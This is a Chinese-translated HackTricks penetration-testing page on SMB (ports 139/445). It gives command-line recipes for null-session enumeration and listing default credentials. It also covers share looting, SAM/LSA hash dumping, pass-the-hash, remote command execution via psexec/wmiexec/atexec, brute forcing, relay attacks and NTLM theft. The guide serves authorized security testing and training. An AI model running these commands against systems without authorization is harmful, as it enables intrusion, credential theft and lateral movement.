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555 lines
27 KiB
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# 139,445 - Pentesting SMB
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## **Port 139**
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_**网络基本输入输出系统**_** (NetBIOS)** 是一种软件协议,旨在使局域网 (LAN) 内的应用程序、个人电脑和桌面能够与网络硬件交互,并**促进数据在网络中的传输**。通过其 NetBIOS 名称(长度可达 16 个字符,通常与计算机名称不同),可以识别和定位在 NetBIOS 网络上运行的软件应用程序。当一个应用程序(充当客户端)发出命令“呼叫”另一个应用程序(充当服务器)时,两个应用程序之间的 NetBIOS 会话通过**TCP 端口 139**启动。
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```
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139/tcp open netbios-ssn Microsoft Windows netbios-ssn
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```
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## Port 445
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从技术上讲,端口 139 被称为“NBT over IP”,而端口 445 被识别为“SMB over IP”。缩写 **SMB** 代表“**服务器消息块**”,现代也被称为 **通用互联网文件系统 (CIFS)**。作为一种应用层网络协议,SMB/CIFS 主要用于实现对文件、打印机、串口的共享访问,并促进网络节点之间的各种形式的通信。
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例如,在 Windows 的上下文中,强调 SMB 可以直接通过 TCP/IP 操作,消除了通过端口 445 使用 NetBIOS over TCP/IP 的必要性。相反,在不同的系统上,观察到使用端口 139,这表明 SMB 正在与 NetBIOS over TCP/IP 一起执行。
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```
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445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
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```
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### SMB
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**服务器消息块 (SMB)** 协议在 **客户端-服务器** 模型中运行,旨在调节对 **文件**、目录和其他网络资源(如打印机和路由器)的 **访问**。主要用于 **Windows** 操作系统系列,SMB 确保向后兼容性,使得运行较新版本微软操作系统的设备能够与运行较旧版本的设备无缝交互。此外,**Samba** 项目提供了一个免费软件解决方案,使得 SMB 能够在 **Linux** 和 Unix 系统上实现,从而通过 SMB 促进跨平台通信。
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共享,代表 **本地文件系统的任意部分**,可以由 SMB 服务器提供,使得层次结构对客户端部分 **独立** 于服务器的实际结构可见。**访问控制列表 (ACLs)** 定义了 **访问权限**,允许对用户权限进行 **细粒度控制**,包括 **`执行`**、**`读取`** 和 **`完全访问`** 等属性。这些权限可以根据共享分配给单个用户或组,并且与服务器上设置的本地权限不同。
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### IPC$ Share
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可以通过匿名空会话访问 IPC$ 共享,从而与通过命名管道暴露的服务进行交互。实用工具 `enum4linux` 对此非常有用。正确使用时,它可以获取:
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* 操作系统信息
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* 父域的详细信息
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* 本地用户和组的汇编
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* 可用 SMB 共享的信息
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* 有效的系统安全策略
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此功能对于网络管理员和安全专业人员评估网络上 SMB (服务器消息块) 服务的安全态势至关重要。`enum4linux` 提供了目标系统 SMB 环境的全面视图,这对于识别潜在漏洞和确保 SMB 服务得到适当保护是必不可少的。
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```bash
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enum4linux -a target_ip
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```
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上述命令是如何使用 `enum4linux` 对指定的 `target_ip` 进行完整枚举的示例。
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## 什么是 NTLM
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如果你不知道什么是 NTLM,或者你想知道它是如何工作的以及如何利用它,你会发现这页关于 **NTLM** 的内容非常有趣,其中解释了 **这个协议是如何工作的以及你如何利用它:**
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{% content-ref url="../windows-hardening/ntlm/" %}
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[ntlm](../windows-hardening/ntlm/)
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{% endcontent-ref %}
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## **服务器枚举**
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### **扫描** 网络以搜索主机:
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```bash
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nbtscan -r 192.168.0.1/24
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```
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### SMB 服务器版本
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要查找可能针对 SMB 版本的漏洞,了解正在使用的版本非常重要。如果此信息未在其他使用的工具中出现,您可以:
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* 使用 **MSF** 辅助模块 \_**auxiliary/scanner/smb/smb\_version**
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* 或者这个脚本:
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```bash
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#!/bin/sh
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#Author: rewardone
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#Description:
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# Requires root or enough permissions to use tcpdump
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# Will listen for the first 7 packets of a null login
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# and grab the SMB Version
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#Notes:
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# Will sometimes not capture or will print multiple
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# lines. May need to run a second time for success.
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if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
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if [ ! -z $2 ]; then rport=$2; else rport=139; fi
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tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
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echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
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echo "" && sleep .1
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```
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### **搜索漏洞**
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```bash
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msf> search type:exploit platform:windows target:2008 smb
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searchsploit microsoft smb
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```
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### **可能的** 凭据
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| **用户名** | **常见密码** |
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| -------------------- | ----------------------------------------- |
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| _(空白)_ | _(空白)_ |
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| guest | _(空白)_ |
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| Administrator, admin | _(空白)_, password, administrator, admin |
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| arcserve | arcserve, backup |
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| tivoli, tmersrvd | tivoli, tmersrvd, admin |
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| backupexec, backup | backupexec, backup, arcada |
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| test, lab, demo | password, test, lab, demo |
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### 暴力破解
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* [**SMB 暴力破解**](../generic-methodologies-and-resources/brute-force.md#smb)
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### SMB 环境信息
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### 获取信息
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```bash
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#Dump interesting information
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enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
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enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
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nmap --script "safe or smb-enum-*" -p 445 <IP>
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#Connect to the rpc
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rpcclient -U "" -N <IP> #No creds
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rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
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rpcclient -U "username%passwd" <IP> #With creds
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#You can use querydispinfo and enumdomusers to query user information
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#Dump user information
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/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
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/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
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#Map possible RPC endpoints
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/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
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/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
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/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
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```
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### 枚举用户、组和登录用户
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这些信息应该已经从 enum4linux 和 enum4linux-ng 收集。
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```bash
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crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
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crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
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crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
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ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
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rpcclient -U "" -N 10.10.10.10
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enumdomusers
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enumdomgroups
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```
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### 枚举本地用户
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[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
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```bash
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lookupsid.py -no-pass hostname.local
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```
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Oneliner
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```bash
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for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
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```
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### Metasploit - 枚举本地用户
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```bash
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use auxiliary/scanner/smb/smb_lookupsid
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set rhosts hostname.local
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run
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```
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### **枚举 LSARPC 和 SAMR rpcclient**
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{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
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[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
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{% endcontent-ref %}
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### 从 Linux 进行 GUI 连接
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#### 在终端中:
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`xdg-open smb://cascade.htb/`
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#### 在文件浏览器窗口中(nautilus, thunar 等)
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`smb://friendzone.htb/general/`
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## 共享文件夹枚举
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### 列出共享文件夹
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始终建议查看您是否可以访问任何内容,如果您没有凭据,请尝试使用 **null** **凭据/访客用户**。
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```bash
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smbclient --no-pass -L //<IP> # Null user
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smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
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smbmap -H <IP> [-P <PORT>] #Null user
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smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
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smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
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smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
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crackmapexec smb <IP> -u '' -p '' --shares #Null user
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crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
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crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
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```
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### **连接/列出共享文件夹**
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```bash
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#Connect using smbclient
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smbclient --no-pass //<IP>/<Folder>
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smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
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#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
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#List with smbmap, without folder it list everything
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smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
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smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
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smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
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```
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### **手动枚举 Windows 共享并连接到它们**
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可能您被限制显示主机的任何共享,当您尝试列出它们时,似乎没有任何共享可供连接。因此,尝试手动连接到共享可能是值得的。要手动枚举共享,您可能想要查找像 NT\_STATUS\_ACCESS\_DENIED 和 NT\_STATUS\_BAD\_NETWORK\_NAME 这样的响应,当使用有效会话(例如,空会话或有效凭据)时。这些可能表明共享是否存在以及您是否没有访问权限,或者共享根本不存在。
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Windows 目标的常见共享名称包括
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* C$
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* D$
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* ADMIN$
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* IPC$
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* PRINT$
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* FAX$
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* SYSVOL
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* NETLOGON
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(来自 _**网络安全评估 第3版**_ 的常见共享名称)
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您可以尝试使用以下命令连接到它们
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```bash
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smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
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smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
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```
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或此脚本(使用空会话)
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```bash
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#/bin/bash
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ip='<TARGET-IP-HERE>'
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shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
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for share in ${shares[*]}; do
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output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
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if [[ -z $output ]]; then
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echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
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else
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echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
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fi
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done
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```
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示例
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```bash
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smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
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smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
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```
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### **从Windows枚举共享/无需第三方工具**
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PowerShell
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```powershell
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# Retrieves the SMB shares on the locale computer.
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Get-SmbShare
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Get-WmiObject -Class Win32_Share
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# Retrieves the SMB shares on a remote computer.
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get-smbshare -CimSession "<computer name or session object>"
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# Retrieves the connections established from the local SMB client to the SMB servers.
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Get-SmbConnection
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```
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CMD 控制台
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```shell
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# List shares on the local computer
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net share
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# List shares on a remote computer (including hidden ones)
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net view \\<ip> /all
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```
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MMC 快捷工具(图形)
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```shell
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# Shared Folders: Shared Folders > Shares
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fsmgmt.msc
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# Computer Management: Computer Management > System Tools > Shared Folders > Shares
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compmgmt.msc
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```
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explorer.exe (图形界面),输入 `\\<ip>\` 以查看可用的非隐藏共享。
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### 挂载共享文件夹
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```bash
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mount -t cifs //x.x.x.x/share /mnt/share
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mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
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```
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### **下载文件**
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阅读前面的部分以了解如何使用凭据/Pass-the-Hash 进行连接。
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```bash
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#Search a file and download
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sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
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```
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```bash
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#Download all
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smbclient //<IP>/<share>
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> mask ""
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> recurse
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> prompt
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> mget *
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#Download everything to current directory
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```
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Commands:
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* mask: 指定用于过滤目录中文件的掩码(例如,""表示所有文件)
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* recurse: 切换递归开关(默认:关闭)
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* prompt: 切换文件名提示开关(默认:开启)
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* mget: 将与掩码匹配的所有文件从主机复制到客户端机器
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(_来自smbclient的手册信息_)
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### Domain Shared Folders Search
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* [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
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```bash
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Snaffler.exe -s -d domain.local -o snaffler.log -v data
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```
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* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) 爬虫。
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* `-M spider_plus [--share <share_name>]`
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* `--pattern txt`
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```bash
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sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
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```
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特别有趣的共享文件是名为 **`Registry.xml`** 的文件,因为它们 **可能包含密码**,用于通过组策略配置的 **autologon** 用户。或者 **`web.config`** 文件,因为它们包含凭据。
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{% hint style="info" %}
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**SYSVOL 共享** 对域中的所有经过身份验证的用户 **可读**。在这里,您可能会 **找到** 许多不同的批处理、VBScript 和 PowerShell **脚本**。\
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您应该 **检查** 其中的 **脚本**,因为您可能会 **发现** 敏感信息,例如 **密码**。
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{% endhint %}
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## 读取注册表
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您可能能够使用一些发现的凭据 **读取注册表**。Impacket **`reg.py`** 允许您尝试:
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```bash
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sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||
```
|
||
## Post Exploitation
|
||
|
||
**Samba** 服务器的 **默认配置** 通常位于 `/etc/samba/smb.conf`,可能包含一些 **危险配置**:
|
||
|
||
| **设置** | **描述** |
|
||
| --------------------------- | --------------------------------------------------------------- |
|
||
| `browseable = yes` | 允许列出当前共享中的可用共享? |
|
||
| `read only = no` | 禁止创建和修改文件? |
|
||
| `writable = yes` | 允许用户创建和修改文件? |
|
||
| `guest ok = yes` | 允许在不使用密码的情况下连接到服务? |
|
||
| `enable privileges = yes` | 尊重分配给特定 SID 的权限? |
|
||
| `create mask = 0777` | 新创建的文件必须分配什么权限? |
|
||
| `directory mask = 0777` | 新创建的目录必须分配什么权限? |
|
||
| `logon script = script.sh` | 用户登录时需要执行哪个脚本? |
|
||
| `magic script = script.sh` | 脚本关闭时应执行哪个脚本? |
|
||
| `magic output = script.out` | 魔法脚本的输出需要存储在哪里? |
|
||
|
||
命令 `smbstatus` 提供有关 **服务器** 和 **谁已连接** 的信息。
|
||
|
||
## Authenticate using Kerberos
|
||
|
||
您可以使用工具 **smbclient** 和 **rpcclient** 进行 **kerberos** 认证:
|
||
```bash
|
||
smbclient --kerberos //ws01win10.domain.com/C$
|
||
rpcclient -k ws01win10.domain.com
|
||
```
|
||
## **执行命令**
|
||
|
||
### **crackmapexec**
|
||
|
||
crackmapexec 可以通过 **mmcexec, smbexec, atexec, wmiexec** 中的任何一种方法 **执行命令**,其中 **wmiexec** 是 **默认** 方法。您可以使用参数 `--exec-method` 指定您希望使用的选项:
|
||
```bash
|
||
apt-get install crackmapexec
|
||
|
||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
|
||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
|
||
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
|
||
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
|
||
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
|
||
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||
```
|
||
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
|
||
|
||
这两个选项将**在受害者机器上创建一个新服务**(通过 SMB 使用 _\pipe\svcctl_),并利用它来**执行某些操作**(**psexec** 将**上传**一个可执行文件到 ADMIN$ 共享,而 **smbexec** 将指向 **cmd.exe/powershell.exe** 并将有效载荷作为参数放入 --**无文件技术-**-)。\
|
||
有关 [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md) 和 [**smbexec**](../windows-hardening/ntlm/smbexec.md) 的**更多信息**。\
|
||
在 **kali** 中,它位于 /usr/share/doc/python3-impacket/examples/
|
||
```bash
|
||
#If no password is provided, it will be prompted
|
||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||
```
|
||
使用 **参数**`-k`,您可以使用 **kerberos** 进行身份验证,而不是 **NTLM**。
|
||
|
||
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
|
||
|
||
通过 **端口 135** 隐秘地执行命令 shell,而不接触磁盘或运行新服务,使用 DCOM。\
|
||
在 **kali** 中,它位于 /usr/share/doc/python3-impacket/examples/
|
||
```bash
|
||
#If no password is provided, it will be prompted
|
||
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||
```
|
||
使用 **parameter**`-k` 你可以使用 **kerberos** 进行身份验证,而不是 **NTLM**
|
||
```bash
|
||
#If no password is provided, it will be prompted
|
||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||
```
|
||
### [AtExec](../windows-hardening/ntlm/atexec.md)
|
||
|
||
通过任务调度程序执行命令(使用 _\pipe\atsvc_ 通过 SMB)。\
|
||
在 **kali** 中位于 /usr/share/doc/python3-impacket/examples/
|
||
```bash
|
||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||
```
|
||
## Impacket 参考
|
||
|
||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||
|
||
## **暴力破解用户凭证**
|
||
|
||
**这不推荐,如果超过允许的最大尝试次数,您可能会锁定账户**
|
||
```bash
|
||
nmap --script smb-brute -p 445 <IP>
|
||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||
```
|
||
## SMB relay attack
|
||
|
||
此攻击使用 Responder 工具包来 **捕获内部网络上的 SMB 认证会话**,并将其 **中继** 到 **目标机器**。如果认证 **会话成功**,它将自动将您带入 **系统** **shell**。\
|
||
[**有关此攻击的更多信息请点击这里。**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||
|
||
## SMB-Trap
|
||
|
||
当页面尝试通过 SMB 访问某些内容时,Windows 库 URLMon.dll 会自动尝试对主机进行身份验证,例如: `img src="\\10.10.10.10\path\image.jpg"`
|
||
|
||
这发生在以下函数中:
|
||
|
||
* URLDownloadToFile
|
||
* URLDownloadToCache
|
||
* URLOpenStream
|
||
* URLOpenBlockingStream
|
||
|
||
这些函数被一些浏览器和工具(如 Skype)使用。
|
||
|
||
![来自: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)
|
||
|
||
### SMBTrap using MitMf
|
||
|
||
![来自: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)
|
||
|
||
## NTLM Theft
|
||
|
||
与 SMB 捕获类似,将恶意文件植入目标系统(例如通过 SMB)可以引发 SMB 认证尝试,从而允许使用 Responder 等工具拦截 NetNTLMv2 哈希。然后可以离线破解该哈希或在 [SMB relay attack](pentesting-smb.md#smb-relay-attack) 中使用。
|
||
|
||
[查看: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
|
||
|
||
## HackTricks Automatic Commands
|
||
```
|
||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
|
||
|
||
Entry_1:
|
||
Name: Notes
|
||
Description: Notes for SMB
|
||
Note: |
|
||
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
|
||
|
||
#These are the commands I run in order every time I see an open SMB port
|
||
|
||
With No Creds
|
||
nbtscan {IP}
|
||
smbmap -H {IP}
|
||
smbmap -H {IP} -u null -p null
|
||
smbmap -H {IP} -u guest
|
||
smbclient -N -L //{IP}
|
||
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
|
||
rpcclient {IP}
|
||
rpcclient -U "" {IP}
|
||
crackmapexec smb {IP}
|
||
crackmapexec smb {IP} --pass-pol -u "" -p ""
|
||
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
|
||
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
|
||
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
|
||
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
|
||
getArch.py -target {IP}
|
||
|
||
With Creds
|
||
smbmap -H {IP} -u {Username} -p {Password}
|
||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
||
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
|
||
|
||
https://book.hacktricks.xyz/pentesting/pentesting-smb
|
||
|
||
Entry_2:
|
||
Name: Enum4Linux
|
||
Description: General SMB Scan
|
||
Command: enum4linux -a {IP}
|
||
|
||
Entry_3:
|
||
Name: Nmap SMB Scan 1
|
||
Description: SMB Vuln Scan With Nmap
|
||
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
|
||
|
||
Entry_4:
|
||
Name: Nmap Smb Scan 2
|
||
Description: SMB Vuln Scan With Nmap (Less Specific)
|
||
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
|
||
|
||
Entry_5:
|
||
Name: Hydra Brute Force
|
||
Description: Need User
|
||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
|
||
|
||
Entry_6:
|
||
Name: SMB/SMB2 139/445 consolesless mfs enumeration
|
||
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
|
||
Note: sourced from https://github.com/carlospolop/legion
|
||
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
||
|
||
```
|
||
{% hint style="success" %}
|
||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>支持 HackTricks</summary>
|
||
|
||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||
|
||
</details>
|
||
{% endhint %}
|